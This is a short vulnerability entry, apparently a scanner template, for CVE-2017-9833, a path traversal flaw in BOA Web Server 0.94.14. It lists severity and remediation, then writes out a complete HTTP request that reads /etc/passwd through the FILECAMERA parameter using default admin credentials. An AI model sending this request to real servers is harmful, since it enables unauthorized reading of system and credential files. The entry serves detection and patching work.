| Title | BOA Web Server 0.94.14 - Arbitrary File Access |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | An attacker can gain unauthorized access to sensitive files on the server. |
| Remediation | Upgrade to a patched version of BOA Web Server or apply the necessary security patches. |
| CVSS Score | 7.5 |
| EPSS Score | 0.90326 |
| CVE ID | CVE-2017-9833 |
| CWE ID | CWE-22 |
| Tags | cve cve2017 boa lfr lfi edb vkev vuln |
BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of “../..” using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.
GET /cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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